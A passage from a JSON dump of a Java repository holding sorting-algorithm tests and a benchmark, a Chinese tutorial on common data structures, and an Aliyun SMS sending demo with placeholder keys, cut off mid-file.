    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.RadixSort;\n\npublic class RadixSortTest {\n\t@Test\n\tpublic void testRadixSort() {\n\t\tint[] a = {28, 16, 321, 121, 60, 2, 5, 72};\n\t\tnew RadixSort().radixSort(a, 0, a.length-1, 3);\n\t\tSystem.out.println(\"======基数排序测试======\");\n\t\tfor (int i = 0; i < a.length; i++) {\n\t\t\tSystem.out.print(a[i] + \" \");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/SelectSortTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport static org.junit.Assert.*;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.SelectSort;\n\npublic class SelectSortTest {\n\n\t@Test\n\tpublic void testSelectSort() {\n\t\tint[] a = {28, 16, 32, 12, 60, 2, 5, 72};\n\t\tnew SelectSort().selectSort(a);\n        assertArrayEquals(a, new int[]{2,5,12,16,28,32,60,72});\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/ShellSortTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.ShellSort;\n\npublic class ShellSortTest {\n    @Test\n    public void testShellSort() {\n        int[] a = {28, 16, 32, 12, 60, 2, 5, 72};\n        new ShellSort().shellSort(a);\n        System.out.println(\"======希尔排序测试======\");\n        for (int i = 0; i < a.length; i++) {\n            System.out.print(a[i] + \" \");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/SortPerformanceTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStreamWriter;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Random;\n\nimport com.jun.plugin.algorithm.sort.BubbleSort;\nimport com.jun.plugin.algorithm.sort.HeapSort;\nimport com.jun.plugin.algorithm.sort.InsertionSort;\nimport com.jun.plugin.algorithm.sort.MergeSort;\nimport com.jun.plugin.algorithm.sort.QuickSort;\nimport com.jun.plugin.algorithm.sort.RadixSort;\nimport com.jun.plugin.algorithm.sort.SelectSort;\nimport com.jun.plugin.algorithm.sort.ShellSort;\n\n/**\n * 改进的希尔排序效果显著\n *\n * @author Wujun\n */\npublic class SortPerformanceTest {\n    private static final int MAX_SIZE = 10000;\n\n    public static void main(String[] args) {\n        // 启用下行代码随机生成指定MAX_SIZE规模的文本数据并存入数组\n        new SortPerformanceTest().createBenchMark();\n        System.out.println(\"正在读取\" + MAX_SIZE + \"组测试数据并执行不同排序方法，请等待...\");\n        System.out.println(\"======开始分析======\");\n\n        Long insertionSortTime = new SortPerformanceTest().insertionSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据插入排序耗时：\" + insertionSortTime + \"ms\");\n\n        Long shellSortTime = new SortPerformanceTest().shellSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据希尔排序(改进)耗时：\" + shellSortTime + \"ms\");\n\n        Long bubbleSortTime = new SortPerformanceTest().bubbleSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据冒泡排序耗时：\" + bubbleSortTime + \"ms\");\n\n        Long selectSortTime = new SortPerformanceTest().selectSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据选择排序耗时：\" + selectSortTime + \"ms\");\n\n        Long mergeSortTime = new SortPerformanceTest().mergeSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据归并排序耗时：\" + mergeSortTime + \"ms\");\n\n        Long qucikSortTime = new SortPerformanceTest().qucikSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据快速排序耗时：\" + qucikSortTime + \"ms\");\n\n        Long heapSortTime = new SortPerformanceTest().heapSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据堆排序耗时：\" + heapSortTime + \"ms\");\n\n        Long radixSortTime = new SortPerformanceTest().radixSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据基数排序耗时：\" + radixSortTime + \"ms\");\n\n        Long apiArraysSortTime = new SortPerformanceTest().apiArraysSortPerformance();\n        System.out.println(MAX_SIZE + \"组随机数据java.util.Arrays.sort(改进的快排)耗时：\" + apiArraysSortTime + \"ms\");\n\n        System.out.println(\"======结束分析======\");\n    }\n\n    // 1.插入时间测试\n    private Long insertionSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new InsertionSort().insertionSort(a);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 2.希尔(改进)时间测试\n    private Long shellSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new ShellSort().shellSort(a);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 3.冒泡时间测试\n    private Long bubbleSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new BubbleSort().bubbleSort(a);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 4.选择排序\n    private Long selectSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new SelectSort().selectSort(a);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 5.归并时间测试\n    private Long mergeSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new MergeSort().mergeSort(a, 0, a.length - 1);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 6.快排时间测试\n    private Long qucikSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new QuickSort().quickSort(a, 0, a.length - 1);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 7.堆排时间测试\n    private Long heapSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new HeapSort().heapSort(a);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 8.基数时间测试\n    private Long radixSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        new RadixSort().radixSort(a, 0, a.length - 1, 4);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    // 9.Java.util.Arrays调优的快速排序时间测试\n    private Long apiArraysSortPerformance() {\n        int[] a = readBenchMark();\n        Long start = System.currentTimeMillis();\n        Arrays.sort(a);\n        Long end = System.currentTimeMillis();\n\n        return end - start;\n    }\n\n    private void createBenchMark() {\n        // 随机产生MAX_SIZE个5000范围的随机数测试数据\n        Random rand = new Random(System.currentTimeMillis());\n        List<String> list = new ArrayList<>();\n        for (int i = 0; i < MAX_SIZE; i++) {\n            list.add(String.valueOf(rand.nextInt(5000)));\n        }\n        // 文件IO\n        BufferedWriter bw;\n        try {\n            bw = new BufferedWriter(\n                    new OutputStreamWriter(new FileOutputStream(\"src/test/resources/benchmark.txt\"), \"UTF-8\"));\n            for (String val : list) {\n                bw.write(val);\n                bw.write(',');\n            }\n            bw.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    private int[] readBenchMark() {\n        BufferedReader br;\n        int[] a = new int[MAX_SIZE];\n        int count = 0;\n        try {\n            br = new BufferedReader(\n                    new InputStreamReader(new FileInputStream(\"src/test/resources/benchmark.txt\"), \"UTF-8\"));\n            String line = null;\n            while (null != (line = br.readLine())) {\n                String[] strArr = line.split(\",\");\n                for (String s : strArr) {\n                    a[count++] = Integer.parseInt(s);\n                }\n            }\n\n            br.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n\n        return a;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/常用数据结构及其Java实现.md",
    "content": "# [常用数据结构及其Java实现](https://www.cnblogs.com/javafirst0/p/10825309.html)\n\n\n\n本文采用Java语言来进行描述，帮大家好好梳理一下[数据结构与算法](http://mp.weixin.qq.com/s?__biz=MzU5NTAzNjM0Mw==&mid=2247486068&idx=2&sn=38549b0917246312fe928249aac1d006&chksm=fe795bacc90ed2ba1d567ba5b0f630d3071d3a5a5fd22135fd349496f623993fee6a337c547e&scene=21#wechat_redirect)，在工作和面试中用的上。亦即总结常见的的数据结构，以及在Java中相应的实现方法，务求理论与实践一步总结到位。\n\n常用数据结构\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-09a74965218b4a18?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n数组\n\n数组是相同数据类型的元素按一定顺序排列的集合，是一块连续的内存空间。数组的优点是：get和set操作时间上都是O(1)的；缺点是：add和remove操作时间上都是O(N)的。\n\nJava中，Array就是数组，此外，[ArrayList使用了数组Array](http://mp.weixin.qq.com/s?__biz=MzU5NTAzNjM0Mw==&mid=2247484621&idx=1&sn=618ff09ab9c5f59d29d675a547832a21&chksm=fe795515c90edc03322d24b81570c7f99fde03d6e5aee3cb509f24827d70854183ebf9b1fa70&scene=21#wechat_redirect)作为其实现基础,它和一般的Array相比，最大的好处是，我们在添加元素时不必考虑越界，元素超出数组容量时，它会自动扩张保证容量。\n\nVector和ArrayList相比，主要差别就在于多了一个线程安全性，但是效率比较低下。如今java.util.concurrent包提供了许多线程安全的集合类（比如 LinkedBlockingQueue），所以不必再使用Vector了。\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-837220f250f8ee8c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n链表\n\n链表是一种非连续、非顺序的结构，数据元素的逻辑顺序是通过链表中的指针链接次序实现的，链表由一系列结点组成。链表的优点是：add和remove操作时间上都是O(1)的；缺点是：get和set操作时间上都是O(N)的，而且需要额外的空间存储指向其他数据地址的项。\n\n查找操作对于未排序的数组和链表时间上都是O(N)。\n\nJava中，LinkedList 使用链表作为其基础实现。\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-aef20a7f89362704.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n//以上方法也适用于ArrayList\n\n队列\n\n队列是一种特殊的线性表，特殊之处在于它只允许在表的前端进行删除操作，而在表的后端进行插入操作，亦即所谓的先进先出（FIFO）。\n\nJava中，LinkedList实现了Deque，可以做为双向队列（自然也可以用作单向队列）。另外PriorityQueue实现了带优先级的队列，亦即队列的每一个元素都有优先级，且元素按照优先级排序。\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-b6322ad21d31b962.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n栈\n\n栈（stack）又名堆栈，它是一种运算受限的线性表。其限制是仅允许在表的一端进行插入和删除运算。这一端被称为栈顶，相对地，把另一端称为栈底。它体现了后进先出（LIFO）的特点。\n\nJava中，Stack实现了这种特性，但是Stack也继承了Vector，所以具有线程安全线和效率低下两个特性，最新的JDK8中，推荐用Deque来实现栈，比如：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-ce91ffec397b53c1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n集合\n\n集合是指具有某种特定性质的具体的或抽象的对象汇总成的集体，这些对象称为该集合的元素，其主要特性是元素不可重复。\n\n在[Java中，HashSet](http://mp.weixin.qq.com/s?__biz=MzU5NTAzNjM0Mw==&mid=2247485251&idx=4&sn=f3a7af867577f4b96cdde2330eacc47e&chksm=fe79569bc90edf8def15db47430884ff5c99d28b5f4f2251c483aa750ffce7b8023cc7e327f6&scene=21#wechat_redirect)体现了这种数据结构，而HashSet是在MashMap的基础上构建的。LinkedHashSet继承了HashSet，使用HashCode确定在集合中的位置，使用链表的方式确定位置，所以有顺序。TreeSet实现了SortedSet 接口，是排好序的集合（在TreeMap 基础之上构建），因此查找操作比普通的Hashset要快（log(N)）；插入操作要慢（log（N））,因为要维护有序。\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-d54b026c1c376b46.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n散列表\n\n散列表也叫哈希表，是根据关键键值(Keyvalue)进行访问的数据结构，它通过把关键码值映射到表中一个位置来访问记录，以加快查找的速度，这个映射函数叫做散列函数。\n\nJava中HashMap实现了散列表，而Hashtable比它多了一个线程安全性，但是由于使用了全局锁导致其性能较低，所以现在一般用[ConcurrentHashMap来实现](http://mp.weixin.qq.com/s?__biz=MzU5NTAzNjM0Mw==&mid=2247484560&idx=4&sn=1698890fc145404f058b4ce605e7dd06&chksm=fe795548c90edc5e5bf808ddac5139ff69bf1bcf551a414f45fd8d6b8fe8a3976688445e45e8&scene=21#wechat_redirect)线程安全的HashMap（类似的，以上的数据结构在最新的java.util.concurrent的包中几乎都有对应的高性能的线程安全的类）。TreeMap实现SortMap接口，能够把它保存的记录按照键排序。LinkedHashMap保留了元素插入的顺序。WeakHashMap是一种改进的HashMap，它对key实行“弱引用”，如果一个key不再被外部所引用，那么该key可以被GC回收，而不需要我们手动删除。\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-9fa91bf813dbfd55.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n树\n\n树（tree）是包含n（n>0）个节点的有穷集合，其中：\n\n每个元素称为节点（node）\n\n有一个特定的节点被称为根节点或树根（root）\n\n除根节点之外的其余数据元素被分为m（m≥0）个互不相交的结合T1，T2，……Tm-1，其中每一个集合Ti（1<=i<=m）本身也是一棵树，被称作原树的子树（subtree）\n\n树这种数据结构在计算机世界中有广泛的应用，比如操作系统中用到了红黑树，数据库用到了B+树，编译器中的语法树，内存管理用到了堆（本质上也是树），信息论中的哈夫曼编码等等等等，在Java中TreeSet和TreeMap用到了树来排序（二分查找提高检索速度），不过一般都需要程序员自己去定义一个树的类，并实现相关性质，而没有现成的API。\n\n下面用Java来实现各种常见的树。\n\n二叉树\n\n二叉树是一种基础而且重要的数据结构，其每个结点至多只有二棵子树，二叉树有左右子树之分，第i层至多有2^(i-1)个结点（i从1开始）；深度为k的二叉树至多有2^(k)-1)个结点，对任何一棵二叉树，如果其终端结点数为n0，度为2的结点数为n2，则n0=n2+1。\n\n二叉树的性质：\n\n在非空二叉树中，第i层的结点总数不超过2^(i-1), i>=1;\n\n深度为h的二叉树最多有2^h-1个结点(h>=1)，最少有h个结点;\n\n对于任意一棵二叉树，如果其叶结点数为N0，而度数为2的结点总数为N2，则N0=N2+1;\n\n具有n个结点的完全二叉树的深度为log2(n+1);\n\n有N个结点的完全二叉树各结点如果用顺序方式存储，则结点之间有如下关系： 若I为结点编号则 如果I>1，则其父结点的编号为I/2； 如果2I<=N，则其左儿子（即左子树的根结点）的编号为2I；若2I>N，则无左儿子； 如果2I+1<=N，则其右儿子的结点编号为2I+1；若2I+1>N，则无右儿子。\n\n给定N个节点，能构成h(N)种不同的二叉树，其中h(N)为卡特兰数的第N项，h(n)=C(2*n, n)/(n+1)。\n\n设有i个枝点，I为所有枝点的道路长度总和，J为叶的道路长度总和J=I+2i。\n\n满二叉树、完全二叉树\n\n满二叉树：除最后一层无任何子节点外，每一层上的所有结点都有两个子结点；\n\n完全二叉树：若设二叉树的深度为h，除第 h 层外，其它各层 (1～(h-1)层) 的结点数都达到最大个数，第h层所有的结点都连续集中在最左边，这就是完全二叉树；\n\n满二叉树是完全二叉树的一个特例。\n\n二叉查找树\n\n二叉查找树，又称为是二叉排序树（Binary Sort Tree）或二叉搜索树。二叉排序树或者是一棵空树，或者是具有下列性质的二叉树：\n\n若左子树不空，则左子树上所有结点的值均小于它的根结点的值；\n\n若右子树不空，则右子树上所有结点的值均大于或等于它的根结点的值；\n\n左、右子树也分别为二叉排序树；\n\n没有键值相等的节点。\n\n二叉查找树的性质：对二叉查找树进行中序遍历，即可得到有序的数列。\n\n二叉查找树的时间复杂度：它和二分查找一样，插入和查找的时间复杂度均为O(logn)，但是在最坏的情况下仍然会有O(n)的时间复杂度。原因在于插入和删除元素的时候，树没有保持平衡。我们追求的是在最坏的情况下仍然有较好的时间复杂度，这就是平衡二叉树设计的初衷。\n\n二叉查找树可以这样表示：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-62f5973bc6fddddf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n查找：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-83f7c980a451abb9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n插入：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-c3406845feaf114f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n删除：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-526d2db70815aa40.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n平衡二叉树\n\n平衡二叉树又被称为AVL树，具有以下性质：它是一棵空树或它的左右两个子树的高度差的绝对值不超过1，并且左右两个子树都是一棵平衡二叉树。它的出现就是解决二叉查找树不平衡导致查找效率退化为线性的问题，因为在删除和插入之时会维护树的平衡，使得查找时间保持在O(logn)，比二叉查找树更稳定。\n\nALLTree 的 Node 由 BST 的 Node 加上 private int height; 节点高度属性即可，这是为了便于判断树是否平衡。\n\n维护树的平衡关键就在于旋转。对于一个平衡的节点，由于任意节点最多有两个儿子，因此高度不平衡时，此节点的两颗子树的高度差2，容易看出，这种不平衡出现在下面四种情况：\n\n6节点的左子树3节点高度比右子树7节点大2，左子树3节点的左子树1节点高度大于右子树4节点，这种情况成为左左。\n\n6节点的左子树2节点高度比右子树7节点大2，左子树2节点的左子树1节点高度小于右子树4节点，这种情况成为左右。\n\n2节点的左子树1节点高度比右子树5节点小2，右子树5节点的左子树3节点高度大于右子树6节点，这种情况成为右左。\n\n2节点的左子树1节点高度比右子树4节点小2，右子树4节点的左子树3节点高度小于右子树6节点，这种情况成为右右。\n\n从图2中可以可以看出，1和4两种情况是对称的，这两种情况的旋转算法是一致的，只需要经过一次旋转就可以达到目标，我们称之为单旋转。2和3两种情况也是对称的，这两种情况的旋转算法也是一致的，需要进行两次旋转，我们称之为双旋转。\n\n单旋转是针对于左左和右右这两种情况，这两种情况是对称的，只要解决了左左这种情况，右右就很好办了。图3是左左情况的解决方案，节点k2不满足平衡特性，因为它的左子树k1比右子树Z深2层，而且k1子树中，更深的一层的是k1的左子树X子树，所以属于左左情况。\n\n为使树恢复平衡，我们把k1变成这棵树的根节点，因为k2大于k1，把k2置于k1的右子树上，而原本在k1右子树的Y大于k1，小于k2，就把Y置于k2的左子树上，这样既满足了二叉查找树的性质，又满足了平衡二叉树的性质。\n\n这样的操作只需要一部分指针改变，结果我们得到另外一颗二叉查找树，它是一棵AVL树，因为X向上一移动了一层，Y还停留在原来的层面上，Z向下移动了一层。整棵树的新高度和之前没有在左子树上插入的高度相同，插入操作使得X高度长高了。因此，由于这颗子树高度没有变化，所以通往根节点的路径就不需要继续旋转了。\n\n代码：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-5c2ded3486ab6428.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n双旋转是针对于左右和右左这两种情况，单旋转不能使它达到一个平衡状态，要经过两次旋转。同样的，这样两种情况也是对称的，只要解决了左右这种情况，右左就很好办了。图4是左右情况的解决方案，节点k3不满足平衡特性，因为它的左子树k1比右子树Z深2层，而且k1子树中，更深的一层的是k1的右子树k2子树，所以属于左右情况。\n\n为使树恢复平衡，我们需要进行两步，第一步，把k1作为根，进行一次右右旋转，旋转之后就变成了左左情况，所以第二步再进行一次左左旋转，最后得到了一棵以k2为根的平衡二叉树树。\n\n代码：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-3a7dd858d67513fe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\nAVL查找操作与BST相同，AVL的删除与插入操作在BST基础之上需要检查是否平衡，如果不平衡就要使用旋转操作来维持平衡:\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-d2cdb39f24e51e72.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n堆\n\n堆是一颗完全二叉树，在这棵树中，所有父节点都满足大于等于其子节点的堆叫大根堆，所有父节点都满足小于等于其子节点的堆叫小根堆。堆虽然是一颗树，但是通常存放在一个数组中，父节点和孩子节点的父子关系通过数组下标来确定。如下面的小根堆及[存储它的数组](http://mp.weixin.qq.com/s?__biz=MzU5NTAzNjM0Mw==&mid=2247486274&idx=1&sn=e03a9158d21561de7d9cfe0a11b30d0a&chksm=fe795a9ac90ed38c517875a11c84db84aa71b95e9cc1b2173526839666d62a65ca8488b5e811&scene=21#wechat_redirect)：\n\n值：7,8,9,12,13,11\n\n数组索引：0,1,2,3, 4, 5\n\n通过一个节点在数组中的索引怎么计算出它的父节点及左右孩子节点的索引：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-bcbe8249617f3e94.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n维护大根堆的性质：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-06478b6b23f4ba98.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n构造堆：\n\n![img](https://upload-images.jianshu.io/upload_images/14266602-c8070f130606648a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n \n\n\n堆的用途：堆排序，[优先级队列](http://mp.weixin.qq.com/s?__biz=MzU5NTAzNjM0Mw==&mid=2247484705&idx=3&sn=a92401c2e99375866fc5a18dfa8f62b1&chksm=fe7954f9c90eddef5e6a0f011378fb890fca9f008e87e22d612d1db192881ba4a7463f314830&scene=21#wechat_redirect)。此外由于调整代价较小，也适合实时类型的排序与变更。\n\n最后\n\n写着写着就发现要想总结到位是一项非常庞大的工程，路漫漫其修远兮，吾将上下而求索。"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/README.md",
    "content": "#### jun_aliyun_sms，阿里云短信SDK Demo实现\n1、阿里云短信发送\n2、阿里云短信发送Demo\n3、阿里云短信发送接口\n4、Rest验证码发送接口\n\n\n#### Installation 安装使用\n\n1、配置POM\n2、直接参考Demo\n\n\n#### Documents 文档\n\n1、秘钥管理地址：https://ak-console.aliyun.com/\n2、SDK下载地址：https://help.aliyun.com/document_detail/55359.html\n3、阿里开发人员写的代码和文档：https://bbs.aliyun.com/read/317490.html\n\n\n#### Feature 计划\n\n1、提供通用的jar\n2、提供通用的API接口\n2、提供后端服务化接口\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<version>1.0</version>\n\t<artifactId>jun_aliyun_sms</artifactId>\n\t<packaging>war</packaging>\n\t<name>jun_aliyun_sms</name>\n\t<url>http://maven.apache.org</url>\n\t<dependencies>\n\t\t<!-- 版本自定义即可 -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>servlet-api</artifactId>\n\t\t\t<version>2.5</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-dysmsapi -->\n\t\t<dependency>\n\t\t\t<groupId>com.aliyun</groupId>\n\t\t\t<artifactId>aliyun-java-sdk-dysmsapi</artifactId>\n\t\t\t<version>2.1.0</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-core -->\n\t\t<dependency>\n\t\t\t<groupId>com.aliyun</groupId>\n\t\t\t<artifactId>aliyun-java-sdk-core</artifactId>\n\t\t\t<version>4.5.3</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-logging</groupId>\n\t\t\t<artifactId>commons-logging</artifactId>\n\t\t\t<version>1.1.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.code.gson</groupId>\n\t\t\t<artifactId>gson</artifactId>\n\t\t\t<version>2.3.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>4.0.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.12.0</version>\n\t\t</dependency>\n\t</dependencies>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/java/com/jun/plugin/aliyunsms/config/AliSmsConfig.java",
    "content": "package com.jun.plugin.aliyunsms.config;\n\nimport com.aliyuncs.DefaultAcsClient;\nimport com.aliyuncs.IAcsClient;\nimport com.aliyuncs.exceptions.ClientException;\nimport com.aliyuncs.profile.DefaultProfile;\nimport com.aliyuncs.profile.IClientProfile;\n/**\n * 单例实现\n * 创建者 科帮网\n * 创建时间\t2017年6月29日\n *\n */\npublic class AliSmsConfig {\n    private AliSmsConfig(){};\n    static final String signName = \"科帮网\";//签名\n    static final String templateCode = \"SMS_75085007\";//模版\n    static final String product = \"Dysmsapi\";\n    static final String domain = \"dysmsapi.aliyuncs.com\";\n    static final String accessKeyId = \"2017\";//此处私钥 填写自己的\n    static final String accessKeySecret = \"2017\";//此处私钥 填写自己的\n    static final IClientProfile profile = DefaultProfile.getProfile(\"cn-hangzhou\", accessKeyId, accessKeySecret);\n    static {\n        try {\n            System.setProperty(\"sun.net.client.defaultConnectTimeout\", \"10000\");\n            System.setProperty(\"sun.net.client.defaultReadTimeout\", \"10000\");\n\t\t\tDefaultProfile.addEndpoint(\"cn-hangzhou\", \"cn-hangzhou\", product, domain);\n\t\t} catch (ClientException e) {\n\t\t\te.printStackTrace();\n\t\t}\n    }\n    /**\n     * 类级的内部类，也就是静态的成员式内部类，该内部类的实例与外部类的实例\n     * 没有绑定关系，而且只有被调用到才会装载，从而实现了延迟加载\n     */\n    private static class SingletonHolder{\n        /**\n         * 静态初始化器，由JVM来保证线程安全\n         */\n        private  static  IAcsClient acsClient = new DefaultAcsClient(profile);\n    }\n    public static IAcsClient getAcsClient(){\n        return SingletonHolder.acsClient;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/java/com/jun/plugin/aliyunsms/config/SmsUtil.java",
    "content": "package com.jun.plugin.aliyunsms.config;\nimport org.apache.log4j.LogManager;\nimport org.apache.log4j.Logger;\n\nimport com.aliyuncs.IAcsClient;\nimport com.aliyuncs.dysmsapi.model.v20170525.SendSmsRequest;\nimport com.aliyuncs.dysmsapi.model.v20170525.SendSmsResponse;\n/**\n * 短信发送工具类\n * 创建者  科帮网\n * 创建时间\t2017年6月29日\n *\n */\npublic class SmsUtil {\n\tprivate static final Logger LOG = LogManager.getLogger(SmsUtil.class.getName());\n\tpublic static SendSmsResponse sendSms(SendSmsRequest request) {\n\t\tSendSmsResponse sendSmsResponse = null;\n\t\tLOG.info(\"发送手机验证码:\"+request.getPhoneNumbers());\n\t\ttry {\n\t\t\tIAcsClient acsClient = AliSmsConfig.getAcsClient();\n\t\t\t//必填:短信签名-可在短信控制台中找到\n\t\t\trequest.setSignName(AliSmsConfig.signName);\n\t\t\t//必填:短信模板-可在短信控制台中找到\n\t\t\trequest.setTemplateCode(AliSmsConfig.templateCode);\n\t\t\tsendSmsResponse = acsClient.getAcsResponse(request);\n\t\t} catch (Exception e) {\n\t\t\tLOG.error(\"短信发送异常:\"+request.getPhoneNumbers(), e);\n\t\t}\n\t\treturn sendSmsResponse;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/main/java/com/jun/plugin/aliyunsms/demo/SmsDemo.java",
    "content": "package com.jun.plugin.aliyunsms.demo;\n\nimport org.apache.log4j.LogManager;\nimport org.apache.log4j.Logger;\n\nimport com.aliyuncs.dysmsapi.model.v20170525.SendSmsRequest;\nimport com.aliyuncs.dysmsapi.model.v20170525.SendSmsResponse;\nimport com.aliyuncs.exceptions.ClientException;\nimport com.google.gson.JsonObject;\nimport com.jun.plugin.aliyunsms.config.SmsUtil;\n \npublic class SmsDemo {\n\tprivate static final Logger LOG = LogManager.getLogger(SmsDemo.class.getName());\n    public static void main(String[] args) throws ClientException, InterruptedException {\n    \tSendSmsRequest request = new SendSmsRequest();\n    \t//必填:待发送手机号\n\t\trequest.setPhoneNumbers(\"18888888888\");\n\t\t//尊敬的${name}，您正进行科帮网的身份验证，验证码${number}，打死不告诉别人！\n\t\tJsonObject params = new JsonObject();\n\t\tparams.addProperty(\"name\", \"蛋蛋\");\n\t\tparams.addProperty(\"number\", 